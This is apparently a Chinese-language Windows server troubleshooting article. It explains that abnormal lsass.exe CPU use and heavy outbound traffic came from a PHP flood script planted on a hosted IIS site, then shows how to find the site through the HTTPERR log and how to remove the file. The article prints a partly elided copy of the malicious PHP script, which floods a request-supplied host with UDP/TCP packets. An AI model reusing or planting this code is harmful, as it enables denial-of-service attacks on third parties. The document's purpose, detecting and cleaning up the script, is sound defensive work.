Windows服務(wù)器上lsass.exe進(jìn)程CPU使用率異常問(wèn)題排查方法
近期有幾臺(tái)服務(wù)器相繼出現(xiàn) lsass.exe 占用CPU過(guò)高,也不算太高,而且過(guò)了一段時(shí)間又會(huì)恢復(fù)正常,CPU過(guò)高直接造成網(wǎng)站打開很慢,周而反復(fù)。
在CPU跑高的時(shí)候,伴隨著一個(gè)現(xiàn)像就是網(wǎng)絡(luò)的浮動(dòng),有時(shí)候上傳居然達(dá)到了30M - 90M/s,對(duì)外攻擊,第一時(shí)間就想到有可能是這個(gè)原因,那具體怎么查呢?
常見(jiàn)的對(duì)外文件,這東西網(wǎng)上搜一下就能找到。
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_REQUEST['http'];
$rand = $_REQUEST['exit'];
$exec_time = $_REQUEST['time'];
........
echo $_REQUEST['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_REQUEST['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
/........
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
那要如何定位到是哪個(gè)站呢?
你可以打開日志
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打開今天時(shí)間的文件,
里面有類似這樣的記錄:
最后三項(xiàng) 783 Disabled 30_FreeHost_1
783就是這個(gè)站在IIS中的ID
30_FreeHost_1就是所在池
解決辦法:
找到這個(gè)站點(diǎn),接下來(lái)想要解決就好辦了,如果條件允許,可以直接禁用掉fsockopen這個(gè)函數(shù),當(dāng)然這個(gè)大部份情況下是不適用的。
那就去這個(gè)站點(diǎn)的根止錄下找找吧。
可以借助一些工具,查找上面這句話,或是查找$fp = fsockopen,這樣其本上攻擊文件就無(wú)所遁形了,當(dāng)然不要?jiǎng)h除了正常的郵件發(fā)送文件,最后重啟下服務(wù),嗯,不卡了。
相關(guān)文章
由注冊(cè)表引起的 I/O 操作發(fā)生了不可恢復(fù)的錯(cuò)誤修復(fù)方法
由注冊(cè)表引起的 I/O 操作發(fā)生了不可恢復(fù)的錯(cuò)誤。 注冊(cè)表將不能讀取、寫出或刷新包含注冊(cè)表系統(tǒng)圖像的其中一個(gè)文件2012-06-06
Win2003 WinHTTP Web Proxy Auto-Discovery Service 導(dǎo)致的服務(wù)器重啟
致的服務(wù)器重啟的問(wèn)題,解決方法2008-11-11
win2003 sp2 iis 上傳文件不能超過(guò)200K的解決方案
經(jīng)過(guò)測(cè)試第一種方法就可以解決問(wèn)題,沒(méi)有什么sp2的問(wèn)題,請(qǐng)大家以這種方法,最好修改前先備份下啊。2009-06-06
基于ISAPI Rewrite軟件實(shí)現(xiàn)IIS圖片防盜鏈方法
為了實(shí)現(xiàn)網(wǎng)站上面的圖片防盜鏈,根據(jù)網(wǎng)絡(luò)上搜集的資料加上自己的實(shí)踐,終于實(shí)現(xiàn)了iis下的圖片防盜鏈功能。2010-07-07
探析Windows下將gvim8配置為Python IDE的方法
Windows下將gvim8配置為Python IDE,首先我們需要把安裝包或者文件下載好,然后才能做安裝配置工作,具體的操作方法在本文給大家介紹的非常詳細(xì),感興趣的朋友參考下2016-10-10
win2008 r2中IIS7.5及以上設(shè)置404錯(cuò)誤頁(yè)面的正確方法
404錯(cuò)誤頁(yè)面的設(shè)置,不僅僅可以提高用戶體驗(yàn)度,從SEO方面考慮,也是非常重要的。今天,筆者在這里介紹一下在windows 2008下如何設(shè)置404錯(cuò)誤頁(yè)面,需要的朋友可以參考下2017-09-09

